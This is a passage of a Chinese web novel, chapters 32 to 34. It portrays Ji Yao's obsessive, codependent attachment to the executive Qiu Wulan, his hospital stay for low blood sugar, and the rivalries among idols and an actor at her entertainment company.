“它会干的。”季语薇不甚在意,披着发尾潮湿的长发,赤足踏入厨房,拉开冰箱。 邱芜澜按下了床头柜上的厨房通讯键,“把衣服穿上。” 季语薇找到一个贝果,贴着墙上的通讯器回话,“我不喜欢湿着头发穿衣服,黏糊糊的。” “那就把头发吹干。” “要尝尝阿尧姐姐的手艺么?” 通讯器不再响了,彻底沉默,季语薇倚着冰箱门泻出轻笑。 她拎出牛奶和火腿片,在厨房里点脚转圈,喉中发出清越的音阶。 蓝色的火焰燃起,她哼唱着柔和的曲调,在黄油嗞啦的间隙里简单的开嗓。 四点四十,邱芜澜从楼梯上下来。 季语薇拿着夹了火腿芝士、用黄油煎过的贝果咬着,另只手托起一只草帽盘,大得夸张的盘子中间,用六颗糖豆摆出了一个爱心。 “锵锵~爱心早餐。”她一边咬着贝果,一边把巨大的瓷盘递到邱芜澜面前,盘沿还用勺子挖了蓝莓酱,毫无意义地做了一抹勾划。 邱芜澜抿唇,盯着糖豆的眼神透出两分倔强。 季语薇将盘子放去桌上,拿出手机,打开列表,举到邱芜澜面前。 “这是季尧,这是华君润,这是你惯用的厨师。”她滑动着屏幕,“你需要我叫谁过来呢。” 邱芜澜还在倔强。 “别这样芜澜,”季语薇舔掉指腹上的芝士,忧心忡忡,“你已经两天、三天?没吃过正常食物了。再这样下去,不到中午你就得去医院。得异食癖的是泽安泽然,又不是你。” 邱芜澜不能接受外送的食物,时间和包装盒会让味道大打折扣。 早上的时间很紧,联系厨师,意味着她在忙碌的同时,还要忍受有陌生人在自己的领地里高度活跃。 目光在华君润和季尧之间流连。 最终,她还是妥协了,“让阿尧来。” 她好饿,不想费神处理和工作无关的交际。 季语薇不出意料地勾唇,点开了季尧的头像。 很早之前,她便发现,邱芜澜需要的不是男友、情侣,她是典型的邱家人,在乎的只有“族人”。 邱家人的思维认知和大众很不一样。 再大的狼群之中,也只有女王拥有生育权。 因此,环境恶劣的情况下,为保证后代存活率,女王有几率接纳陌生的母狼,让她成为自己的臣民、照顾自己的家族。 季语薇始终保持着谦卑恭顺,花费了十几年,终于得到了女王的承认。 起先,季尧比她幸运得多。 既然族群里所有狼崽都只能是女王的孩子,那么当一只幼崽悄无声息地混进狼群后,女王便自然将它视为自己的后代。 相较之下,除非女王丧偶,否则陌生的公狼只会引起戒备和驱逐。 邱家已有一头优秀的狼王,邱芜澜没有伴侣,却有比伴侣更在乎的男性。 当季尧日渐长大,异族的特征不断显露,冷酷多疑的狼王发现了端倪。 季语薇喝掉杯中最后一口牛奶,想起最近流传的传闻—— 宋折凝事件,实际是邱芜澜对邱承澜发起的权变。 传闻沸沸扬扬,但她很清楚,那纯粹是子虚乌有。 如果邱芜澜真的愿意和邱承澜分庭抗礼,那季尧就不会待在镜头前傻笑。 放下杯子,有门铃响起。 季语薇若有所思地扬唇,这是怎么了,她可怜的弟弟,什么时候进这间屋子需要要按门铃了。 第32章 第三十二章 厚重的双重帘闭合, 近七米高的落地窗失去其优越的采光。 二楼主卧的床上被褥凌乱,地上散着几张糖纸、两个拆开没吃完的饼干包装,以及半板布洛芬。 床的另一侧, 地板上有一团模糊的人影。 无光的黑暗吞噬了轮廓,只隐隐看出蜷缩的状态。 季尧面朝着床, 双眸空洞虚无地睁着,他面无表情, 牙关却像是冷极了似地咯咯打颤。 他已经有八天没有见到邱芜澜。 对比从前,这是个比较常见的数字,邱芜澜出差时间一般在五到十天, 季尧早该习惯, 但这一次分离产生的躯体反应前所未有严重, 自上一次见邱芜澜之后, 季尧再没有出过门。 第四天是最严重的, 他躺在游戏房里, 一动不能动。 整十九个小时, 他无法弯曲手指,却能清晰看见天花板上的粉尘颗粒,听见隔音墙里水管中的流水。 起初是熟悉的剧烈头痛, 然后是胸闷、心悸, 最后是呕吐。 混乱纷繁的生理反应中, 他反反复复想起那一天。 那天邱芜澜只是和邱承澜离开了几个小时,告诉他晚上就会回来, 可当他再度见到邱芜澜时, 她神情复杂地望了会儿自己,从此对他的态度一落千丈。 仅仅只是分开了几个小时,她就将他彻底甩到身后, 不许他再度靠近; 现在,他和她分离了整整一周…… 季尧心跳得聒噪刺耳,他捂住耳朵,剧烈的心音却从嘴巴、鼻子里蹦出。 那活生生的脏器律动的感觉,让季尧恐惧心慌,也让他恶心反胃。 他已经接触到了分离焦虑症这一概念,可并不觉得自己列属其中。 被邱芜澜抛弃的担忧有前例和逻辑作支撑,并非妄想,而是推导。 他没有生病,他喜欢姐姐、依赖姐姐全都有迹可循。 从小到大,她是唯一给予他关爱的人,是唯一透过他的身份看见他内在的人,亦是支配他时间、经济、思想,乃至人生轨迹的绝对掌权者。 他当然会因为和姐姐分开而感到难受,这是人之常情,不是疾病,如同失恋后心脏会感到刺痛;破产后大脑会发白、血液会冲顶一样,这是情感波动所导致的正常生理反应。 他很健康,这不是病,只是因为邱芜澜十分重要。 虽然不是病,但影响了生活,季尧也曾试图自救。 他尝试转移注意力,将大量时间花费在游戏、虚拟作品中,比起活着的人,这些由1和0组成的事物更加可控稳定。 他的确是喜欢这些的,屠杀世界所带来的快感能填补压抑空虚的内心,可当游戏结束,一切又回归原点;甚至不需要结束,即便是在最紧张的环节里,邱芜澜的气味、声音都能轻而易举地形成强大干扰。 她像是一台遥控器,除非玩具彻底没电,否则永远听从遥控器的指令。 季尧又想,或许是因为数字和代码到底缺少了人的感情,他于是将目标又转向了鲜活的人类。 在娱乐圈、在季尧身边不乏优秀靓丽的女性,有一段时间,他热衷于参加富二代们的聚会。 他看过了几百张美丽的脸,网红、明星、女企业家、富家千金,金字塔越是向上,容貌和双商就越容易出现高分,这三者往往相辅相成。 季尧的确遇见了些优秀的女性,她们具有极高的人格魅力,但当季尧甜甜地喊出“姐姐”后,或是得到心花怒放的喜爱,或是得到圆滑疏离的打趣。 前者的眼睛灼热赤红,险些将他烫伤; 后者笑意背后的视线冰冷砭骨,隐含不屑。 世界上不缺优秀的人,继续找下去,兴许总有一天季尧会找到他想要的人; 可他远比自己想象的脆弱,每一次对着陌生人出口的“姐姐”二字,都像是刀刃滑过喉咙。 他的发音越来越涩,吐字越来越痛苦。 在季尧第十八次对陌生人开口喊“姐姐”时,他越过人群,骤然看见了邱芜澜的影子。 她站在角落,平静地望着他,半晌,徐徐展眉,勾起浅淡的一笑。 季尧第一时间确认了邱芜澜的行程。 他确定了那不是邱芜澜,只是个梦一般的幻影。 季尧咬牙回避了那个幻影,对她视而不见,当他再次企图对别的女性喊“姐姐”时,血腥味比声音先一步漫灌了口鼻。 “哦天呐,”不止一个女性向他递出纸巾,“你流鼻血了。” 季尧愣怔地捂住鼻子,蓦然抬头,只见幻觉之中的邱芜澜转身离去。 他发着抖,绝望崩溃地追逐幻影。 浓重的背叛感湮没了季尧,这份背叛感迅速反应到躯体上。 他被无形的蛛丝勒住了声带,只有在面对邱芜澜时,毒蛛才会松开丝线,允许他用甜腻的嗓音、膜拜的口吻念出“姐姐”。 在不断挑衅规则、尝试挣脱毒丝的过程中,季尧从流鼻血发展到了低烧、头疼、喉咙发炎,症状出现的时间越来越长、伴随的痛苦越来越深。 最终,邱芜澜察觉了他的异样,接了杯温水给他,“喉咙怎么哑了,发烧了么?” 季尧握着温暖的玻璃杯摇头,顿了顿,他喑哑地开口,“姐姐,别那么辛苦。” 邱芜澜不解,季尧敛下眼睫望向手中的温水。 在一次又一次地挣脱中,他只明白了一件事—— 原来邱芜澜一直这么痛苦。 她支持他挣开“姐姐”的束缚,自己却被长久地束缚在“哥哥”的囚笼之中。 季尧不再徒劳的挣扎,如果姐姐尚且深陷泥淖,他又怎么能独善其身。 他放弃了探索独立,回归了毒蛛的怀抱,将蜘蛛的前螯刺入大脑,贪恋毒素麻痹神经的安逸。 蜘蛛怜爱地劝他:“你该离开这里,过自由自在的生活。” 他蜷缩在蜘蛛身下,依恋地磨蹭蛛腿,同她撒娇:“姐姐,我做不到,我被粘在了网上。” 她控制了他太久,骤然从他脑中拔出毒螯,被毒素刺激到高阈值的大脑再也无法从阳光、鲜花、雨露这些普通的美好中体会快乐。 昏昏沉沉的猎物无力逃脱,反而对毒产生了高依赖性。 邱芜澜在季尧和季语薇身上锻炼了产毒的技巧,随后不断应用在商场上,用毒丝粘住了无数消费者。 毫无疑问,最初的实验者是中毒最深的一批,而邱芜澜从未想过炼制解药,那与她没有必要。 季尧安然地蜷缩在毒网上,直到身前的手机震了震,亮起了荧光。 他迷离地掀起眼睑,在看见弹出的消息后,神色霎时清明。 [季语薇:芜澜饿了,她在找你] 季尧从地上爬起,大脑残留着剧痛,他踉跄着走了几步,找到了丢在地上的布洛芬,掰开干吞了一片,然后快步进入浴室。 遥控器发出了指令,一股强大的信号支配着季尧的身体,使他轻易脱离了严重的躯体反应。 疼痛化作激动,窒闷变为欣喜,厌倦替换为甜蜜。 他从黑暗中离开,唤了声AI管家,顷刻间,双重的厚帘向两边分开,黎明的日光注入客厅。 世界明媚且鲜活起来,四处都是高雅的兰草清气。 饥饿的毒蛛在召他过去。 这附近还有其他猎物,可她只选择他,季尧深感荣幸。 …… 见到邱芜澜的刹那,季尧的躯体反应顷刻消退。 和以往没什么不同,这一次的小插曲他又熬了过去。 一切都运转正常,季尧一如既往地为邱芜澜制作早餐。 他来得比预计晚,季语薇和他简短地打了招呼便被经纪人接走。 正如她和邱芜澜所说的那样,签约秋叶后,季语薇有大量的排程要忙,这一天两夜,是她唯一能为邱芜澜挤出来的空闲。 季尧简单为邱芜澜做了一份咸煎薄饼、一杯偏苦的煎雪松。 看见草帽盘里的糖豆时,他就知道邱芜澜接下来的一段时间都不会想吃甜食了。 他端着热气腾腾的早餐摆去桌上,邱芜澜亦结束了晨练,换了浴袍从浴室中出来。 她在主座坐下,季尧自觉拿了毛巾擦拭邱芜澜被水打湿的发尾。 邱芜澜起先神色淡淡的,吃完一大份煎饼后,顿时舒展了开来,前后状态对比,像是暗室和阳光下长成的豆芽一样鲜明。 她端庄地放下刀叉,目视前方,郑重开口,“我还需要一个滑蛋吐司。” “姐姐的胃空太久了,不能吃太多。”季尧收走了她的盘子,连带着刀叉一起。 邱芜澜抿唇不语。 她聊胜于无地喝着雪松,一边翻看人事发来的几份简历。 看了两份,季尧便拿了衣服下楼。 “可以么?”他向邱芜澜展示自己选择的搭配。 邱芜澜没有说话,接过衣服起身去更衣室。 和食物的种类一样,邱芜澜从不挑剔装扮。 在本家,她的房间在二楼,衣帽间却在三楼。 据说天后季语薇有四个超过二百平方的衣帽间,首饰珠宝则又另设房间。 与此相反,邱芜澜从每日的衣饰、发型、妆容到护理,全部由简和其他女佣挑选。 近三十年的时间里,她自己去衣帽间的次数屈指可数,一如她从不会干涉季尧的配餐,邱芜澜在任何地方都不会主动点餐——除非像现在这样,没有吃饱。 即便是天才,每日的精力也始终有限,所做的每一项选择都会消耗一定精力。 穿衣、吃饭、化妆,这些都是在一天工作之前遇见的选择,邱芜澜不能把对关键决策的精力浪费在这些事上。 起初,她没有选择的权力;后来习惯养成,也没了选择琐事的欲望。 温暖的食物催生出正向能量,分开之前,邱芜澜告诉季尧,“今晚开始,我会去公司附近的公寓住。” 她告诉了季尧自己的动向,宣布这场暗流涌动的冷战彻底结束。 邱芜澜说完,等着季尧小狗一般用柔软的头顶蹭她。 可她等了片刻,都不见季尧有任何反应。 她微疑地回眸,发现季尧正紧盯着自己,漂亮的偏浅色眸中充溢着古怪的神色。 季尧有一双澄净到璀璨的眼睛,像是阳光下的玻璃糖,此刻,那通透晶莹的玻璃糖仿佛被太过炽热的阳光所融化,变得黏腻、散发出糖物质过度加热后的焦化味。 在邱芜澜看向他时,这种特殊的焦化味愈发黏稠,季尧的皮肤肉眼可见得变红。 刺啦…… 短路般的火花突兀跳起。 正常运转的身体突然生锈卡壳,没有任何前兆地出现了故障。 不知道是因为还没有从先前的躯体反应里走出来,又或者是邱芜澜的原谅让他太过兴奋,导致神经中枢出现了异常。 意识再度被剥离,有别于此前无法挪动身体的束缚,这一次更像是理智退化,由本能支配了身体。 巨量的情感洪流冲溃了意识,季尧模糊的感知中,只见哭闹着呕吐的邱泽安、邱泽然,他们被邱芜澜极尽温柔地抱在怀里,一声声劝哄; 他又见到了杨木,近一米九的大块头,被妈妈寸步不离地紧紧守着。 这一次她原谅了他,允许他重回身侧,可是接下来呢? 公司越来越近,分离的焦虑感越来越重。 分离八天,才刚刚回到姐姐身畔,季尧不想那么快分开。 他想错了,这次的插曲和以往是不同的。 以往公司里的韩尘霄,可不是邱芜澜的男朋友。 季尧的潜意识察觉了,这一周的分离只是序幕一角。 他的人生,彻底要和邱芜澜断裂了。 季尧的表情太过反常,邱芜澜不由得发问,“怎么了。” “姐姐……”忽而之间,那漂亮的眼睛蒙上一层泪雾,季尧沉缓地深呼吸着,“头好痛。” 邱芜澜疑惑地抬手覆上季尧的额头。 触手的皮肤微微汗湿,温度却比邱芜澜掌心要高。不止是额头,季尧全身的皮肤都有些泛红。 “有点低烧么。” 被邱芜澜触碰,他半眯着眼,浑浑噩噩地磨蹭她的手心,呓语般地迭声唤着姐姐。 “去医院。”邱芜澜对开车的简道。 “马上到公司了,我先送您上去吧。”简说。 腰间一暖,少年侧身拱在邱芜澜腰际,模糊地念了句:“姐姐……我好难受。” 第一次开口后,剩下的便顺理成章。 “让泽安代替我。”邱芜澜抱住季尧的肩颈,重申道,“去医院,让菲安就位。” 透过后视镜,简瞥了蜷缩的季尧一眼。 “好的。” 她掩下不满,将车驶向了邱芜澜常去的私人医院。 季尧并不是很清楚中间的过程。 这是他第一次明明在邱芜澜身边,却出现了躯体反应。 听力和视力在过分敏锐之后,变质成为了幻听幻觉。 世界成了扭曲的斑斑色块,等季尧重新看见现实世界后,他正身处邱芜澜的私人病房。 他躺在床上,懵憕地望着白色天花板。 指尖一动,被温凉的触感包裹。 季尧扭头,看见床边坐着邱芜澜,她一手拿着手机通话,另只手始终握着他。 在对上他的目光后,邱芜澜冲他安抚性地瞌眸,随后几句话结束了通讯。 她将手机搁去一边,握紧了他的手,同时拂开他脸上汗湿的碎发。 “感觉好点了么,菲安说你犯了低血糖。” 季尧才注意到自己的另一边吊着瓶葡萄糖。 他愣怔地看着邱芜澜,邱芜澜摩挲他的鬓角。 她没有说话,可双眉轻蹙着,眸中是显而易见的疼惜与责怪。 季尧倏地打了颤。 他的灵魂恍惚漂浮起来,变成了杨木,变成了哭闹着的邱泽安、邱泽然。 一股不明由来的异火自他心底燃起。 在邱芜澜的注视下,他渗出了愈多的冷汗,脸色愈发苍白。 “姐姐……”少年双眸湿红,嗓音却涩然,“对不起,我不是故意惹你生气的。” 邱芜澜微滞,末了轻叹,“我知道。” 季尧小心翼翼地回握住她,“别赶我走,我明明比尘霄哥更早认识姐姐。” 邱芜澜抬眉,前一句还让她生出两分歉疚,这一句就不明所以了。 她张口欲言,房门忽然被人轻叩。 邱芜澜以为是护士,喊道,“进来。” 属于男性的脚步声由此传来,她迅速回头,一如守着生病幼崽的母狼,戒备、敌视着靠近的外族雄性。 当看清来人的脸后,邱芜澜若有所思地回眸瞥了季尧一眼。 “芜澜,听说季尧病了,我来看看。” 清矍的青年带着一身屋外的寒气靠近,他腼腆地看过邱芜澜后,才将视线分给床上的季尧,“浩炆和木木不太方便,托我过来。季尧,还好吗?” 邱芜澜注意到,季尧微微别过了脸。 “谢谢。”她接过韩尘霄手中的慰问品,微笑道,“低血糖犯了,我陪着休息一会儿就行。” 季尧微不可察地勾唇。 他听见挡在身前的母狼俯低上身、咧齿皱鼻的警告。 第33章 第三十三章 韩尘霄有一段时间没见到邱芜澜了。 宋折凝发布云书后, 他一直想找机会见她,发了几次消息,邱芜澜都没有回复, 唯一一次还是拒绝。 他知道她忙,也关注着这一系列事情对秋叶的影响。 眼见股价回升, 邱芜澜也回家休息了两天后,韩尘霄觉得她应该是有空见自己了。 还没等他编辑好约会的信息, 公司里就传开了邱芜澜请假的消息。 季尧病了,身为姐姐的邱芜澜在医院陪护。 韩尘霄的心跳鼓动了起来,这是一个绝佳的机会, 身为RNI的队长, 他去探望季尧再合理不过。 喜悦之后, 韩尘霄又不免有些愧疚。 成员生病了, 他第一个想法居然是利用季尧去接近他姐姐。 他在心中对季尧道歉, 一边立刻询问简, 自己能否前去探病。 他对不起季尧, 可他实在太想念邱芜澜了。 那一晚如梦似幻,像是一场狂欢演唱,舞台上灯光炫目, 舞台下呼声沸腾, 他陷在重金属的旋律之中, 浑身是汗,毛孔扩张。 待灯光熄灭、舞台落幕, 韩尘霄不仅不觉得疲惫, 反而意犹未尽。 他想起圈子里几个傍上富二代的朋友。 从前韩尘霄不齿他们出卖身体的行径;如今自己却一头醉在邱芜澜的爱抚里。 时间并没有美化韩尘霄的想象,再次见到邱芜澜,她依旧美得心惊, 只是短暂的一抹对视,都让韩尘霄心跳如鼓。 邱芜澜不矮也不瘦,雪夜的暖灯下,韩尘霄惊愕地看见了她身上优雅的肌线。 她极具力量,韩尘霄却还是好想抱抱她:把她拢在自己的外套里,用下巴蹭一下她的头发。 “我想你可能忙着照顾季尧,没时间吃东西,所以带了点吃的过来。” 他提起一只牛皮纸袋,尚未打开,香甜的气味便透了出来。 邱芜澜没有接,只是夸赞,“谢谢,你真贴心。” 韩尘霄将慰问品和纸袋放下,再找不出话来,他不甘心地又留了一会儿,想到了个可以聊下去的话题。 “季尧,下周就是商演了,你还可以么?” 季尧缺席了整整一周,如今又病了,几乎没有参与排练,把唐知行急得够呛。 韩尘霄尽可能温柔道,“你不在的时候我们商量了一下,要是你不方便的话,就改动一下舞台,减少你的部分。” 季尧抬起左手,套着一根发圈的腕前,输液管随之摇晃,“队长,我现在病着。” 他的逐客意味不言而喻,韩尘霄顿时语塞。 “那、”他瞄了眼邱芜澜的脸色,“那你好好养病,我先回去,等你病好了再说。” 季尧弯眸,敷衍且不耐地冲他微笑。 韩尘霄转身,恋恋不舍地对邱芜澜低语,“我走了。” 他希望得到邱芜澜的挽留,或者得到下一次约会的时间,可邱芜澜只是颔首,“谢谢你来看他。” 韩尘霄不由得面露失望。 “对了,”邱芜澜再度开口,在韩尘霄期待的眼眸中,不紧不慢道,“也谢谢你的甜点。” 韩尘霄的心情几度起伏,他冲邱芜澜勉强笑了笑,“不用谢,有什么需要的都可以叫我。” 邱芜澜没有起身,坐着目送他离去。 韩尘霄所带来的寒气已被空调暖化,但食物的气息还萦绕在床畔。 邱芜澜目光移去纸袋上,定定地盯着它。 咸香的煎薄饼打开了味蕾,空了整整两天的肠胃蠕动着,鬼使神差地,邱芜澜打开了纸袋,从里面拿出了一颗泡芙。 理智告诉她,这东西必定不合她胃口; 可被季尧勾起的食欲,在被他拒绝加餐后升至了顶峰。 邱芜澜迟疑地咬了一口。 霎时间,她眼尾耷拉了下去。 一只手伸到了她面前,邱芜澜立刻张口,嚼都没嚼过的泡芙原模原样地吐到季尧手中。 他扔去另一侧的垃圾桶。 …… 等季尧输完液,医疗团队确定无事,邱芜澜先回了公司。 她走之前嘱咐季尧,“来的时候你昏睡着,很多检查没能做,一会儿跟着菲安做完体检再回来。” 季尧应了。 他习惯这套流程,高中之后邱芜澜放弃了他的工作能力,转而对他的身体健康十分重视,每次生病后都要做一套全身排查,菲安的团队会将各项指标数据直接发到邱芜澜手上。 这套检查花费了近三个小时,等季尧回到公司时已是下午。 “季尧,你病好了吗?” 季尧踏入公司大楼时,被两位前台接待嘘寒问暖,“还是第一次见你请病假,天气越来越冷了,要注意保暖啊。” “谢谢。”季尧对两名接待笑了笑,露出一侧尖尖的犬牙,他将手中的纸袋放去前台,“吃吗,尘霄哥买的。” “哇谢谢。”两个姑娘眉开眼笑地打开袋子,“是尘霄哥买给你的吗?” “快要商演了。”季尧冲她们眨眼,食指比嘘,“我偷吃了一颗泡芙。” 接待被他俏皮的小动作逗笑了。季尧朝电梯走去,一边挥手,“都给你们了,别让尘霄哥看到哦。” 电梯门合上,他的表情也随之淡下。 途中有两名策划部的职员上了电梯,对着季尧点头致意后,继续讨论工作。 “这是我们影视城第一部戏,季语薇不是专业演员,又是第一次领衔主演,根据她以往的表现,恐怕满足不了观众的期待值。” “华君润不是答应去试镜了么。” “真答应了?他俩一起签约,后面两年合作不少,再一起演CP,不怕传绯闻么。” 她们在十九层离开,走远之后传来压低的笑声:“他俩都直升ASHS了,分我一半的年薪,别说传绯闻了,传丑闻我都愿意!” “我十分之一就愿意!” “禁止扰乱市场!” 季尧想起邱芜澜送给他的剧本,在邱芜澜此前送出过的剧本里,那无疑是最昂贵的一本。 她说,她对他和对那些“药”是不一样的,可她如今给他的东西,和给他们东西,没有什么两样。 电梯停在了26层,季尧没有出去,他关上电梯门,向下按了几层。 ASHS的楼层。 邱芜澜要求的电子锁还没来得及换上,季尧坦然地进入了华君润的办公室。 入目十分简洁,华君润没有提任何要求,行政便按照最基础的款式给他订购了用具。 普通的长条木桌、黑色的真皮办公椅,电脑昨天才撕了膜,空气中还有一点新家具的气味。 季尧扫过桌上刻着“华君润”三个楷体大字的席位卡,勾开办公椅坐了上去。 他懒淡地靠着椅背,泰然自若地在华君润的座位上玩手机。 午休结束前,门被拉开。 看见座位上的少时,华君润脚步一顿。 他旋即熟稔地笑了起来,反手关门,“阿尧,身体好点了么。” “君润哥。”季尧放下手机,没有从位子上离开,“前两天不在公司,都没赶上你的欢迎会。” “没关系。” “也是,”季尧扬唇,“毕竟已经参加过一回了。” 华君润笑而不语,给他倒了杯水,岔开话题,“我没有想到,你会进娱乐圈。” “我也没想到君润哥会回来。”季尧随口道,“听说君润哥也住在我们小区,那你见过易蒲哥了么?” 华君润将一次性纸杯放去季尧面前,微微侧首,“谁?” 这个侧面曾登上巨幕,成为国内票房史第三名的封面和标志。 华君润长相并不精致,放大数十倍后却找不到一丝瑕疵。 他俊得低调含蓄,温润如水。 季尧托腮看他,“几年前他还和你搭过戏,演过你的义子,君润哥这就忘记了?” “这几年搭戏的太多,记不太清了。”华君润和颜悦色地回道,“你也知道,我离开秋叶后自顾不暇,过得一塌糊涂。” “可毕竟是君润哥。”季尧道,“签约不到两年就创造秋叶娱乐业绩神话的人,只要想,赚钱还不容易?” “好了阿尧。”华君润笑着叩了叩桌面,“起来吧,我要回几封邮件。” 季尧窝着没动,没骨头似的赖在纯黑皮椅里,五指一转,魔术般变出了一颗泡芙。 “尝尝吗,君润哥。” 华君润挑眉,不解其意。 “尝尝吧,姐姐今天吃的。” 男人修长脖颈上的喉结滚动了一下。 他接了过来,也没问季尧从哪里变出来的,将那颗小泡芙放入口中,细细咀嚼。 华君润的表情从平静到微疑、再到困惑。 这一系列转变后,季尧嗤嗤地笑了出声,乐不可支地颤抖双肩。 “这是个魔术吗?”华君润的表情最终回归平静。 “这可不是诈骗,”季尧笑吟吟地说,“加了爱情的调味剂,再难吃的东西都会变得美味。” 华君润付之一笑,不以为意。 “君润哥,我今天来,其实是想问问你。”季尧好奇地发问,“当初姐姐是什么时候带你去社交的。” 华君润的眸色微凝,“我也不记得了,当时我很反感这些东西。” “她送你的第一件礼物,是手表,对吗?” “是。” 他眼见着季尧的笑耐人寻味起来。 “我问完了,”少年起身,“不好意思打扰你工作了。” 他突兀地终结对话,搭上门把手时,回眸低语,“对了,君润哥,听说——你得了焦虑症?” 华君润墨玉般的瞳仁中倒映出少年狡黠的侧脸。 和他截然不同的长相,精致、美丽、天真,带几分混血的妖冶,尚且稚嫩,却已有了蛊惑人心的魅力。 “别紧张,这只是一句关心。”他拉开办公室的门,腕上戴着一条黑色的发圈,挥手同他告别,“我要去外地出个商演,君润哥,能麻烦你给姐姐做两天早餐么,她不挑食的,滑蛋吐司都行。” 第34章 第三十四章 “再几天就商演了, 现在人都凑不齐。” 从舞蹈室下来,罗浩炆忍不住跟韩尘霄抱怨,“木木请假越来越频繁不说, 现在连季尧也开始旷工了。” 出于某种隐秘的心思,韩尘霄解释道, “季尧是真的病了。” 正因为这场病,他才能见到邱芜澜。 “杨木待不长远, 季尧又一直不把这份工作放在眼里,队里就我们两个正常人。咱们组合早晚得散。” “单飞是常态。”韩尘霄拍了拍他的肩,“做好自己, 公司不会埋没人才的。” 罗浩炆撇了撇嘴, 懒得和三好员工争辩。他抬手看了眼手表, 晚上十点半, 跳了整四个小时。 “去食堂吃饭吧。回宿舍都得十一点多了。”他对韩尘霄说, 一抬眼, 却见对方神情古怪地盯着自己的表。 罗浩炆疑惑地看了眼自己的表, “干嘛?” “没、没事。”韩尘霄别过头,借着喝水压下温热的悸动。 他摩挲自己的手腕,一遍遍回忆方才的舞步。 五年内、不, 三年, 他希望自己的收入能匹配上邱芜澜送的那支表, 堂堂正正地戴着它出现在公众面前。 这想法如同热流,激得韩尘霄想立刻回去练俩小时, 可惜他们已经下到了餐厅, 再回去实在是有些晚了。 临近凌晨,秋叶的员工食堂还开着,稀散地坐了三五桌。 罗浩炆幽怨而艳羡地盯着普通食堂的玻璃柜台, 韩尘霄淡淡提醒:“忍着。” 他垂头丧气地跟在韩尘霄身后,坐扶梯上了四楼艺人食堂。 少油、少盐、蒸煮为主的艺人食堂,和下面三层食堂仿佛不是一个世界,空气中闻不到半点食物的气味。 艺人食堂一半的灯都关了,两人点了蛋白质套餐,端着食物走出来,就见空荡的餐厅里角落坐着个人。 看清对方是谁后,罗浩炆惊讶地戳了戳韩尘霄,韩尘霄意会,抬步朝对面靠近。 比他们年长些的男人坐在靠墙的卡座上,慢条斯理地切割盘中的三文鱼,一边吃一边看手机里播放的视频。 食堂无人,可他还是戴着有线耳机。 “华老师。” 韩尘霄站在卡座前,主动打了招呼。 男人抬眸,他具备上个时代演员的一些特质,五官没有如今的男孩那么精美,但是端正大方,最重要的是,眼中有神、眉骨有采。 “你好。”华君润对着俩人颔首笑了笑。 罗浩炆压着激动,“华老师,难得遇见您,我们能坐这里吗?” “当然可以。”华君润把支在前方的手机收回来,腾出桌面,让两人坐下。 “华老师怎么留到这么晚呀。”坐在新晋的亚缇丝影帝面前,罗浩炆忘记了饥饿,记者般热切地同华君润攀谈。 “准备一个试镜。你们呢?” 韩尘霄张口,罗浩炆抢先道,“我们在练舞!下周我们有一个商演,在隔壁市,华老师有空的话,能不能赏光指教一下。” 华君润咀嚼着食物,嘴里有东西,没能立刻搭腔。 韩尘霄瞥了眼满脸兴奋的罗浩炆,对华君润低头致意,“抱歉华老师,还没有自我介绍,我是RNI的队长韩尘霄。” 经他提醒,罗浩炆连忙补上,“我是罗浩炆。” “我知道你们。”他口里的东西咽下了,“‘新星’的前四名。” “华老师知道我们?” “是啊,选秀综艺里‘新星’的含金量很高,每一季总决赛我都会看。”他的视线转向韩尘霄,带着欣赏,“尤其是小韩,我听说你在国外当过几年练习生,还是副队长,怎么想着回国参加选秀了。” 新生偶像的圈子里,韩尘霄的名气并不小,他习惯人们了解他的过往经历,但被华君润这一级别的大咖说出来后,难免有些受宠若惊。 “国外太累了,”在那双见过无数国际顶级大奖的眼睛面前,韩尘霄无所遁藏地吐露出一切,“小时候不懂事,长大了才意识到读书有多重要。” “你回国,是为了念书?” “嗯。合约一到期我就回来了,也有公司想要签我,国内的条款是比国外宽松一点,可时间上还是不允许我备考。那时候觉得工作什么时候都能做,但上学只有一次,我就把所有邀请都推了,花了半年考上瑚影。 “沉寂半年,再想出来,发现已经没人理我了,只好去参加选秀。” 他不是那么多话的性格,可在华君润专注倾听的姿态下,不自觉地对他畅言。 华君润理解地点头,“你的选择很对。现在大家认为当明星当网红不需要文化,但其实导演、编剧还有投资方是会偏向科班出身的艺人的。” 韩尘霄抿下两分由衷的笑。 太多人说他傻,说他浪费了时间,刚回国的时候,是他热度最高的时候,他却选择了沉寂。 大学有什么用?每年各大艺校那么多毕业生,最后不还是销声匿迹、默默无闻么。 所有人都说,韩尘霄错过了发展的最好时机,只有两个人肯定过他的选择。 一个是华君润,另一个,是签下他的邱芜澜。 罗浩炆不满自己被撇出去,试图将话题拉回,“华老师,我听说您之前在秋叶发展得很好,为什么后面离开了?” 韩尘霄扫了他一眼,华君润切割着盘中的鱼,“那时候年轻、幼稚,和管理层的想法不同,觉得自己能改天换地。” 他叉起鱼肉,感慨着笑道,“自己在外面待了几年,知道了天高地厚,就老实滚回来了。” “怎么会!”罗浩炆惊呼,“您离开秋叶后发展得也不错啊,年初还拿了亚缇丝。” “那是赔了多少笑脸、喝了多少酒才有的。”华君润失笑摇头,“现在想想也奇怪,都不知道脑子里哪来的观念,给人敬酒就是‘拜金’、‘谄媚’,聚会上唱首歌就是被侮辱了,进了那个包房,马上觉得是进入了敌巢,还不如小孩子来得落落大方。” “经纪人说不动我,上头领导也劝不动,最后邱总都亲自和找我谈了。” 听到熟悉的名字,韩尘霄的目光聚集了一些。 “我和她说,我只是来演戏的,不想当公关牛郎,天天卖笑陪酒。” 韩尘霄盯着华君润,“那邱总怎么说?” “她说,她每天也在卖笑陪酒,有谁觉得她是陪酒女么。” “霍。”罗浩炆佩服地点头,“我连想都不敢这么想她。” “是啊。有些思想上的枷锁去掉后就会发现,笑容、敬酒其实只是一种礼貌,是自己看不起自己了,才会觉得低人一等,认为所有人都在戏弄自己。” 华君润吃完了剩下的食物,“不知道你们有没有见过邱总在局上的样子。” “她身上有一种特质,端起酒杯的时候,不是‘能不能麻烦您帮我办点什么’,而是‘让我们庆祝双赢的未来’。” “哇,您说的也太形象了。” “这事儿一点儿也不折辱人,关键是自己怎么想。” 来自大前辈的经验传授,两人都听得格外认真。 “不过邱总是邱总,我们哪有她的能力啊。”罗浩炆道,“我们都没几个局可以去。” “多学多练。好的剧本不会从天而降,要自己去投,投的多了,才有进组的机会。” 华君润端起餐盘,看了眼表,“时间不早,我先回去了,你们也早点休息。” 韩尘霄顺着他的视线,看见了他腕上的表。 百达翡丽 57IIR 和邱芜澜送他的表同一个品牌,价格要比他的型号贵将近一倍。 